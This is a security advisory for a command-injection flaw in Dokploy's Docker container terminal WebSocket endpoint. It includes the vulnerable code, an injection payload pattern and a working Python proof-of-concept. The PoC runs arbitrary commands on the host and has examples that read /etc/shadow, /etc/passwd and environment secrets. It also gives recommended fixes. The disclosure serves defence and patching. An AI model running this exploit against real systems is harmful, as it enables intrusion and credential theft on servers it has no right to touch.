Skip to content

Authenticated Remote Code Execution via Command Injection in Docker Container Terminal WebSocket Endpoint

Critical
Siumauricio published GHSA-vx6x-6559-x35r Jan 27, 2026

Package

No package listed

Affected versions

v0.26.5 <

Patched versions

v0.26.6

Description

Summary

A critical command injection vulnerability exists in Dokploy's WebSocket endpoint /docker-container-terminal. The containerId and activeWay parameters are directly interpolated into shell commands without sanitization, allowing authenticated attackers to execute arbitrary commands on the host server.

Vulnerability Details

Affected File: apps/dokploy/server/wss/docker-container-terminal.ts

The vulnerability occurs because user-supplied parameters are directly concatenated into shell commands:

// Lines 32-33: User input extracted without validation
const containerId = url.searchParams.get("containerId");
const activeWay = url.searchParams.get("activeWay");

// Line 57 (SSH remote execution): Direct interpolation
conn.exec(`docker exec -it -w / ${containerId} ${activeWay}`, { pty: true }, ...);

// Lines 123-127 (Local execution): Direct interpolation into shell
const ptyProcess = spawn(shell, ["-c", `docker exec -it -w / ${containerId} ${activeWay}`], {});

Attack Vector

An attacker can inject shell metacharacters via the containerId parameter:

containerId = "x;MALICIOUS_COMMAND;#"

This results in:

docker exec -it -w / x;MALICIOUS_COMMAND;# sh

The shell interprets ; as a command separator, executing MALICIOUS_COMMAND independently.

Proof of Concept

PoC Script

#!/usr/bin/env python3
"""
Dokploy Command Injection PoC (CVE-2026-XXXXX)
Authenticated RCE via WebSocket - CRITICAL

Usage:
  python3 dokploy-poc.py <target> <cookie>           # Run default tests
  python3 dokploy-poc.py <target> <cookie> <cmd>    # Run custom command

Examples:
  python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" whoami
  python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "ls -la /root"
  python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "cat /etc/shadow"
"""
import sys, asyncio
from urllib.parse import quote
try:
    import websockets
except ImportError:
    sys.exit("pip install websockets")

async def exploit(target, cookie, cmd):
    payload = f"x;{cmd};#"
    uri = f"{target.replace('http','ws')}/docker-container-terminal?containerId={quote(payload)}&activeWay=sh"
    out = ""
    try:
        async with websockets.connect(uri, additional_headers={"Cookie": cookie}) as ws:
            while True:
                try:
                    out += await asyncio.wait_for(ws.recv(), timeout=2)
                except asyncio.TimeoutError:
                    break
    except Exception as e:
        return f"Error: {e}"
    # Clean docker error noise
    lines = out.split('\n')
    clean = [l for l in lines if not any(x in l for x in ['docker:', 'Usage:', 'docker exec', "See '"])]
    return '\n'.join(clean).strip()

async def main():
    if len(sys.argv) < 3:
        print(__doc__)
        sys.exit(1)

    target, cookie = sys.argv[1], sys.argv[2]

    if len(sys.argv) > 3:
        cmd = " ".join(sys.argv[3:])
        print(f"$ {cmd}\n")
        print(await exploit(target, cookie, cmd))
    else:
        print(f"[*] Target: {target}\n")
        for name, cmd in [("id", "id"), ("passwd", "head -3 /etc/passwd"), ("env", "env|head -5")]:
            out = await exploit(target, cookie, cmd)
            vuln = "uid=" in out or "root:" in out or "=" in out
            print(f"[{'!' if vuln else '?'}] {name}: {out[:150] if out else 'no response'}\n")

if __name__ == "__main__":
    asyncio.run(main())

Exploitation Evidence

Tested on canary environment (canary.dokploy.com):

poc

Impact

  • Remote Code Execution (RCE) on the Dokploy host server
  • Credential Theft - Access to environment variables containing secrets, API keys, database passwords
  • Full System Compromise - Read/write access to all deployed applications and data
  • Potential Container Escape - Possibility of escalating to host system

Recommended Fix

Option 1: Input Validation

function isValidContainerId(id: string): boolean {
    return /^[a-f0-9]{12,64}$/i.test(id);
}

function isValidShell(shell: string): boolean {
    return ['sh', 'bash', 'zsh', 'ash'].includes(shell);
}

if (!containerId || !isValidContainerId(containerId)) {
    ws.close(4000, "Invalid container ID");
    return;
}

Option 2: Avoid Shell Interpolation

// Use array arguments instead of shell string
const ptyProcess = spawn('docker', ['exec', '-it', '-w', '/', containerId, activeWay], {});

References

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

CVE ID

CVE-2026-24841

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits